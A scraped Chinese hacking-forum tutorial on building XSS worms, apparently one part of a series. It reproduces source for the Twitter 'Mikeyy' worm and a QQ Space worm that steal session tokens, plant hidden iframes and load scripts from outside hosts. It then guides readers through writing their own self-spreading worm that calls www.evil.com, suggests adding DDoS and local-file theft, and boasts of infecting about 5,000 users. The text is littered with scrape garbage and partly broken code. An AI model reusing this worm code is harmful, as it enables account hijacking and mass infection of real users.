var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
' a; `8 y3 s2 n" j* J2 j  u" y


XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

7 Y6 V, P$ ]) T6 ~' V4 yXmlHttp.send(null);
  }0 A: J/ Z' d5 k( ?+ Z, s
<script>
$ d+ _; f4 L$ _" ?& T复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
% \/ v3 g6 }1 \( j+ S# |- Z8 E5 F  下载 (5.1 KB)

6 天前 08:27
$ N# Q, o! B& O( d
. B3 ?0 [% B2 c第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
2 `" r1 o, C7 |: t5 _
   2.   
) e1 X( \8 ?: v3 J
5 N5 K7 Q& e* b5 z# W0 {6 i5 b   3. function XHConn(){  
2 S% s9 i2 ]+ _3 K& y9 m
. H% F  m3 n# V1 ~6 t& g   4.   var _0x6687x2,_0x6687x3=false;  
9 A1 G( s5 m" e
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
* }/ @$ N1 C& b, ^
% Q# n& K# B2 X) R8 }$ H, X; b6 V' f1 z+ _   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
, W% Z+ Z. H3 v0 z4 F7 S, }' g- n
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
1 C* M( A$ \6 P# g; {; e/ H; t
& V# A0 Y# \6 d   8.   catch(e) { _0x6687x2=false; }; }; };  
/ g/ u6 t* i6 s, Z- N4 L/ L+ u复制代码第六版:   1. function wait() {  
) z+ O) \% ~4 G1 G% F  A/ E
1 K( m: e5 M9 v   2.   var content = document.documentElement.innerHTML;  
( _  J! D7 m/ M' L
   3.   var tmp_cookie=document.cookie;  
8 _' i% X. K  c
   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  
) x  k- [1 s" o, L. [% J2 Z, e! q5 Y: q
   7.   var authtoken=authtoken[1];  
+ O3 X. t; A) I. n, H4 W9 g! T- l
' c, a7 U( I' F7 ?( i% c" I" p   8.   var randomUpdate= new Array();  

7 X6 W9 T" A/ Q. M9 C, X- B5 `   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
; T+ g! b# B$ Z- }, w
0 c% H" u# j$ l* Q- b' q) m  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

4 r& ~. O! H3 s( |( ^5 [  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
6 \  Y# Z( e9 y! g1 @# q# |
7 I: }# j8 y  Y* X8 c$ g& C2 m  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
) s! x# r' J6 w4 v- a( v* p
5 p$ d( y1 D- I  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
/ H5 ?! P. ^+ b4 [" V  o, j! A3 k
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

: Q  }8 n# D7 }$ g  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
- M+ m% m' d' x. \6 c/ p- K& s' x
% D6 ~  X. S+ w( C9 o  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
3 I6 t8 Y7 H* n$ H
6 H! L$ S; W( ~4 r% \" l8 g  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

$ d! S! J! ?/ D- F1 H. f, X  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
, m: \0 Q* [5 A0 T: |; {
( _) A6 q9 k% B, F/ Y  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
! ~, B2 s7 R/ k% M7 Z" B9 n# Z
& ]3 X/ i7 s4 F  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
& u: s2 P) A3 ^/ Y
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
) ~" ^+ @0 i/ p; F9 o* P7 Q% B
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
% a- C% e8 i/ O4 z
  24.     

5 \6 r7 q$ U: C+ I6 O# W4 y. W  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

! t# B& P& F! }( W+ p' [! B3 l  27.     

  28.   var ajaxConn= new XHConn();  
/ H: R3 g0 j/ ~, z( O( k
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
( t, q; a, G2 o* O: N
1 y  Z3 u' w% l9 s  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
- E" W0 ?/ I$ E6 d4 J( H4 Q7 q
+ a0 q: k6 R0 a  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
: f! d8 ^  \5 R' I
  35.   var XSS=urlencode(genXSS);  

8 z, [" O! _4 u' m! G  36.   var ajaxConn2= new XHConn();  
' w/ Z" K- D9 H/ m( M
$ z' v& V( }! Z5 S  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
' p0 Z- |; Q' l, ^9 o
  38.     
6 m5 o0 }* A9 t+ g
8 U& V/ H& W$ {  39. } ;  
' J: U, d" F( ]/ M
  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

4 X& k7 F6 t9 a9 `9 A3 J4 _2 Awindow.onerror=killErrors;
- g! N9 O6 z# v

3 F$ N) Q, O7 c" ~! \% E0 }
var shendu;shendu=4;
3 Z# P, ?2 ~' X& h- L
- C, X% s( F, F) `8 d) O: y$ p//---------------global---v------------------------------------------

  S0 E! Z* \+ C9 w//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

! E; n( Q2 w" V( T6 l" qvar myblogurl=new Array();var myblogid=new Array();
) v+ \0 x6 ?: D# J2 B0 t9 ~" Z
        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");

0 p) L" ~1 K0 `6 i+ y: {0 @        gurl=gurl.substring(0,gurle+3);        

% a& D: {3 `. @. z+ X7 g0 y# U1 u        var visitorID=top.document.documentElement.outerHTML;
5 r% k1 S% S, U, L
; a: F7 k! G) L) m6 @3 ~           var cookieS=visitorID.indexOf("g_iLoginUin = ");
: j# B; h5 A6 n7 b% W
        visitorID=visitorID.substring(cookieS+14);
, ?* R! t( H7 w- b# F
5 M! E$ `0 r; h1 c" _        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);
: T, ]3 ~1 J: r. ?% X2 w
        get_my_blog(visitorID);
& a/ `8 z  z- x; z/ Z  v" Y0 S
        DOshuamy();
3 e8 t, z1 }, F

6 n! ?7 \1 w1 \1 a, s
4 \( |8 u) W# |0 c! q! a' m7 U' t0 D//挂马

& \. y% \1 P7 R9 ^8 ?function DOshuamy(){

var ssr=document.getElementById("veryTitle");
) I# s  V# G  x( v% v  R; f
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
* U6 Z+ ?* y- h
; K- U" d3 E) `+ {" o% y}
/ v1 @) M; |8 R9 R
+ q0 f, e* ]) q5 o2 `3 a+ l4 Y

7 C% D( h; t+ z1 G6 {# b6 M* N//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
) V% w4 i2 t% Q+ M
: r5 {* H: Y7 i1 U7 _- l3 Cfunction get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
  O2 ?( I- z" b/ `9 m
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的

5 H% J8 y/ i3 O. f     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

! D6 T3 ~/ q& v. h: k     xhr.send();guest=xhr.responseText;
6 d7 r6 j& A& R: B+ a  N# J. R
$ P( ^1 z: Z" E1 E$ y9 D& p5 R     get_my_blogurl(guest);    //执行这个函数
( I# o  a+ F" \8 t& }9 Q: D4 q% N  m
    }

}
2 V+ h* a3 i( Y1 n: P

0 {1 a) H) R) w, r  r
6 q. M# f# Y) C# T1 n9 _7 A//这里似乎是判断没有登录的

# X6 }! u' a0 o6 y" r) l+ S' tfunction get_my_blogurl(guest){
0 h, C% \( O) v. K5 {
  }! [% _  h0 m! X+ x/ V6 C7 C( y* j9 {- V  var mybloglist=guest;
& l" O5 x$ X' H7 n" p2 \+ M
/ z4 Z8 P3 H4 b& `- K  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的
% B$ {3 \9 R7 ~7 t5 M" b& w
         mybloglist=mybloglist.substring(myurls+11);
  U0 |  `/ y9 S  A+ G. p, J
         myurls=mybloglist.indexOf(')');
% j; [/ O; `: O) ^
         myblogid=mybloglist.substring(0,myurls);
& m9 K' R+ u5 c: R. K
3 k7 H4 O5 `$ u) z        }else{break;}
& ~" y" S  ?9 J3 H7 X
/ m* @" }' i9 p# l: n( n}

( z# B8 C& Y. v+ O3 \% wget_my_testself();    //执行这个函数

  T! o( O6 `. R' j}



//这里往哪跳就不知道了
! l9 G; e& P- k) o" l8 z2 Q1 ~0 m
function get_my_testself(){

4 [5 S1 D% b# M5 q+ y  for(i=0;i<myblogid.length;i++){    //获得blogid的值

( c9 a# g4 O+ }      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

: h) _5 h! Z( M8 F+ V7 V( k. M# Q      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

& E. ^. N+ _. A3 D      if(xhr2){        //如果成功
7 i% H$ r0 k4 r) }: v- I! H
0 R+ s5 B- F; x              xhr2.open("GET",url,false);     //打开上面的那个url
4 K4 {9 R8 |5 i2 H  T
              xhr2.send();
& U& Q* A4 e7 i& r# C. H) W  n
              guest2=xhr2.responseText;
6 v) ~; e% b3 n  z) p! |/ T) \
* }+ N, |. m; ~, h9 X% z              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
; G4 R' F: ^* u8 W* }# y
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

6 a0 e- [% m% M) E                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
4 y- C  m" V7 L# t6 Y. O
1 `; G" G4 U( w/ K* N               }

              if(mycheckit=="-1"){

                targetblogurlid=myblogid;

# R* H" O+ H+ z* T; x                add_js(visitorID,targetblogurlid,gurl);    //执行它

' A$ l' U* I: `2 P5 E7 d                break;

( \% h6 _* U5 L3 M7 O! Z               }

0 y( [& r  `7 {  R4 Z        }      
( f9 r/ f/ W! x6 U8 r4 U, u
}
" _% t6 X5 \) X! X( Y* M* u
1 b. N5 g' N3 R5 ]) S}
# s- f; z" z* ^  Q

  x- t: ?0 H7 x
/ t* l, v( n. z3 D( k' N//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象

1 B& S  y  o! z6 i6 F  N* pfunction createXMLHttpRequest(){

4 f0 u0 g; T- D4 Y% I2 C    var XMLhttpObject=null;  
0 r$ V& R9 i3 l
3 M3 B5 A% d" o+ _5 _# l1 Q4 j    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
: }" N% c3 T( N0 H8 A
1 v' `) P+ u; v6 R    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  
$ i3 `& o0 T9 H
        {  
& \2 b) E2 U# s7 @
: d* G2 C) R* z( w* {  g/ K+ I* [            try  
7 [$ S1 y* K: s3 k% @
: t. X8 t+ d& i" G: H            {  

5 F1 p, L1 {8 q) }  \, M                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  
" \1 ?  F" h+ k( Y, V
* u* s0 F% j6 V- o2 ~: b            }  

, Y5 b& u9 t" e/ c            catch (ex) {  

            }  
( S; L* X. i, e. {9 `$ ~
         }  

, E* \6 }! B5 E; ]2 B      }
, b" }" w( L4 Q  S7 G6 W
6 q) L5 x. W2 T0 A) o+ mreturn XMLhttpObject;
6 K: f7 q7 w. ~
* U6 k# P8 [/ Y" M! b}  
% s& w/ u  `" H& B  R
& q4 z' z5 f+ \# z# b+ V3 w

# E! A& w- O6 S. {8 d//这里就是感染部分了
+ B- _  x$ \/ y6 Z/ U$ V- `
function add_js(visitorID,targetblogurlid,gurl){
7 U2 n9 _9 c$ Q
3 m) g6 B2 U! E1 v3 r& Mvar s2=document.createElement('script');
) l2 C: }/ h2 E. H( `! M8 e8 c
. T! A& |1 k0 }* L% y% hs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

* L; n2 L5 S6 i. r" D* C1 vs2.type='text/javascript';
$ t1 f4 Q4 a, N7 D: ~2 _+ r( k
document.getElementsByTagName('head').item(0).appendChild(s2);

# ^' M1 k+ R% _; P3 v8 o$ ?}
) Q' U$ w1 V2 c2 R2 W  N
& O' C& D: |; k& R+ d4 U) V# \2 q
5 x, o% c2 i2 M
4 V7 T) q* G# i- ?: Kfunction add_jsdel(visitorID,targetblogurlid,gurl){
- @- y0 r% m! u' z
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
- l$ E+ Z: t3 Z. z! C9 l4 g& C% f' @
7 c" m& Y9 W* L3 ^" S- L4 `/ D. C- js2.type='text/javascript';
3 E  G" c* M9 t. k( [
) q! o8 p3 a$ _& vdocument.getElementsByTagName('head').item(0).appendChild(s2);
- k) y! L# w( N" t* F
% U$ `$ Z$ M6 S, Q6 f}
& _0 {; o& F" @: |复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
8 a0 D9 {  x. m, s4 [" `
: j  ~  t2 S8 i2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
' [  W, f- Z( R2 u. L; A) g2 h
$ W# ~/ A6 w7 }7 C( [* |9 @4 t综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
/ {# z5 f7 B- o' ?- ~- \& t' c9 `

下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
9 q, B. o: [  H0 I  a
首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {
5 K+ w7 i/ q" y6 ~3 Y
request = new XMLHttpRequest();

; y6 k; w. [$ s. Dif(request.overrideMimeType) {
5 o) b/ M9 ^% f; F# n' G1 W
request.overrideMimeType('text/xml');

% K9 @- m5 T3 P3 Y3 p}
, O4 n9 U$ B! Z8 r
} else if(window.ActiveXObject) {
2 v( ~% n* q9 U9 {7 H
3 P9 C' e7 M  X  p- C) uvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, z2 X+ t, l( \9 H
for(var i=0; i<versions.length; i++) {
7 b3 q; r# d& W$ S! F- y
4 B# l3 E% `; D# U; A- w# }( Rtry {

request = new ActiveXObject(versions);

} catch(e) {}
; |) l( d, o% {( U( X- G8 E
5 [7 f' i; T* P% T( X# a, z}
. |0 y* M& L! k& \
% o2 J) f. @2 Z# D) g}
+ A" c8 }* o) _
xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
6 T0 H% V! T! S
4 L9 L$ Y7 d! Z( A$ \; n2 P' S        var Browser_Name=navigator.appName;

1 t4 Y+ i4 w' u- r; w" d( {        var Browser_Version=parseFloat(navigator.appVersion);

7 @$ X: k4 G4 ^* q* D        var Browser_Agent=navigator.userAgent;

        

        var Actual_Version,Actual_Name;
0 n1 \" K9 u$ P9 p$ ^
        

2 Q+ A9 y% K6 d        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
2 n: k1 I/ O. _2 n+ [; d
        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
) x$ z" U! Z( ~
        
( S, G3 K4 \4 W4 t$ u, O* T
        if(is_NN){

            if(Browser_Version>=5.0){

. n: ~- m# U" j, F  ]5 p                var Split_Sign=Browser_Agent.lastIndexOf("/");

, O8 |& [+ h' r                var Version=Browser_Agent.indexOf(" ",Split_Sign);

- q, `, H6 U, P% q                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
0 N+ R/ V4 P+ p

6 z6 r2 S  y, r
5 `  e+ e6 h0 u' X                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
* O2 `: D5 j: R  g; l
( I8 Y/ y: @9 a4 _                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
' a/ o% ^9 ?. i0 N5 D7 @# X" `
5 M4 o1 E8 T* O" [6 V8 V            }

/ V3 L. g+ I6 V1 P5 h1 C/ P            else{
, s2 q- ^( q1 E/ S* w" i5 G7 Z# s
# C7 l7 o, N* P( a4 B$ l3 R                Actual_Version=Browser_Version;
+ q+ J6 v  l* \2 X( D2 J
* T* ]) P: g4 A  v                Actual_Name=Browser_Name;

% T7 D9 o. r. u$ Z% G, g            }

        }
9 e/ P  _) t, p2 R% E" b
6 T5 s3 y1 M8 Z" `        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
* W: y! W/ T* U7 V1 R9 |& {: \+ H
/ ?! I, S5 P4 r% }; Q. l            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

3 [2 d' R1 p& y7 v            Actual_Name=Browser_Name;
8 k% O4 |, [7 H& `8 B) F# `, I+ ~
            
# U7 P7 p2 u. U0 f4 w. `
: G% {4 ~) I3 A; ^' V0 L3 a8 ^* m+ _, M            if(Browser_Agent.indexOf("Maxthon")!=-1){
* w2 W) H6 q9 U' u8 b
  b( g8 ?$ x% a% T                Actual_Name+="(Maxthon)";

            }
( C* G9 a* F0 U- O! A0 H
/ k' Z0 `: K' W; \1 q, c            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
' t# u8 l3 G: a7 h% Y
" ^- b$ b3 a" I& O                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
& z; [, ~' ~8 I9 X- @% K$ s' z
9 t8 ]. M9 g. \$ x                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
) q0 C2 s, Y3 B! `/ a* b3 O3 [) x
+ _' g2 Z2 z) t) L' @$ |$ _        }
1 q! [6 @8 o4 q7 S# O$ s
6 s* G. Z% X% P/ _        else if(is_Ch){
, @; _8 K4 u* C) h7 \' }
+ j- K% X, y& D& {3 w5 s3 D! h            var Version_Start=Browser_Agent.indexOf("Chrome");
" f! H% a- ]. `' [5 r' i. v
7 v: W# x' C/ ?9 r; n6 p$ |            var Version_End=Browser_Agent.indexOf(";",Version_Start);
* Y3 D! j1 U/ l: H0 d+ F3 I
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
3 d  {4 b- j! ~2 A! h. a' y
            Actual_Name=Browser_Name;

( d# v9 D% X% Y0 t- P7 O            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
, ~& r, V. F  ^1 s7 H% [6 s
: T/ y* O& I  v4 i4 J% r, e+ ~                Actual_Name+="(Maxthon)";
% q0 C( P) e+ G3 K3 k5 @$ i7 I4 N  n
- z+ k7 T5 v2 w# `1 \. K, k, T" p- h            }
4 c  J6 J4 p) ^- h& R
$ L1 @/ J7 {, ~6 m8 _( _            else if(Browser_Agent.indexOf("Opera")!=-1){

5 h0 Y6 R7 K+ J$ t' x" Q5 c0 N                Actual_Name="Opera";
+ w: i2 |: Q% `4 \) D0 k( q- E
# _2 _. V& ^) B* |' u% \+ O                var tempstart=Browser_Agent.indexOf("Opera");
' O: s4 O: P- l
                var tempend=Browser_Agent.length;
% t6 n+ U# {9 R
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
& d- X/ t8 f7 C& S3 m
2 X. t+ k- a! o2 L( r            }
4 w/ S' e' q# x- {2 |
        }

        else{
( E5 l. |7 s6 ~# s
            Actual_Name="Unknown Navigator"
8 \2 J$ ]6 S2 ~! z* O
$ b2 y# ~1 v$ f0 m8 ~8 |7 m( }            Actual_Version="Unknown Version"

        }


' O/ ?# y# w/ |
# f2 {' u7 `4 B. v" I; J        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;

        

        this.Name=Actual_Name;
: }* [% t% o2 A. M: s+ ]4 q
; V/ C; W1 z# P8 I        this.Version=Actual_Version;
! k5 w( C- Z! u! h
    }
) f- s: G/ l( h8 Z& `9 Q
    browserinfo();
( M; v# o3 r! s$ X4 m3 j$ E1 Q
$ W: h+ ]: m' ^% m- P    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
; D. A: {) g  R; f9 B, ]
' w! Y- x+ {: @' z- L    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

+ U  l/ ~0 e; l2 L* N  Y% H    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
0 _& f$ N9 m2 h' c$ C! F$ s复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
* L+ m* @' M  z复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

2 H/ a: F; M! U0 FxmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;
6 v" s! u( A) u/ `  v" m
+ \9 ^) ~" ]( J; f+ _1 ]+ l! \, t( Ovar id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
- O1 \) A8 t6 x1 F6 G6 z" U
& F" h5 m3 K' L- ]- X% awhile ((result = patt.exec(resource)) != null)  {

id++;

}
* n. Z$ ^; ^$ @% _; V复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
# J$ T" u4 P0 `- n. S
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

4 U0 {! Z3 U4 E1 w& J! lvar post="wd="+wd;

, f* Y$ @/ [4 ~% n2 dxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
- j( p/ P% D' H; ^
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

! m, s( r/ X. D- h! |% _/ ]: IxmlHttpReq.setRequestHeader("content-length",post.length);

  y  r9 R" n0 fxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
* R7 j( p' ]5 X$ R
xmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

8 x3 X& k. s: ~# Vvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
8 g+ o% ~/ W; d2 a6 }% r/ {+ ?: ^
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

$ K: g+ ~0 n& W1 l& K1 t+ i! Lvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

) m1 `1 c" n$ u& M! R# }9 tvar post="wd="+wd;

0 `6 g; L6 }* S, z) y1 O* k. W0 MxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
3 Q* Z- ]# Q$ R9 u
# g9 r0 ~( d2 `8 qxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
" I9 O( v* S: [: C1 z4 x. f
( B1 x: ?# [$ l2 VxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

% D( m8 r  v6 _8 ~) s" x$ KxmlHttpReq.send(post);                 //把传播的信息 POST出去.

% o* N1 n$ Y1 F5 X}
) G& G5 z, S) G; K1 F复制代码-----------------------------------------------------总结-------------------------------------------------------------------
/ l/ c' p2 C' R1 c: m
: d* l. _! I) E+ q8 c

本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
6 @; k( p' l& ^# `( e5 h

; Z1 y; b6 Z  Z3 o/ p+ F5 A2 A




' ~" S1 ^+ C, g( Z
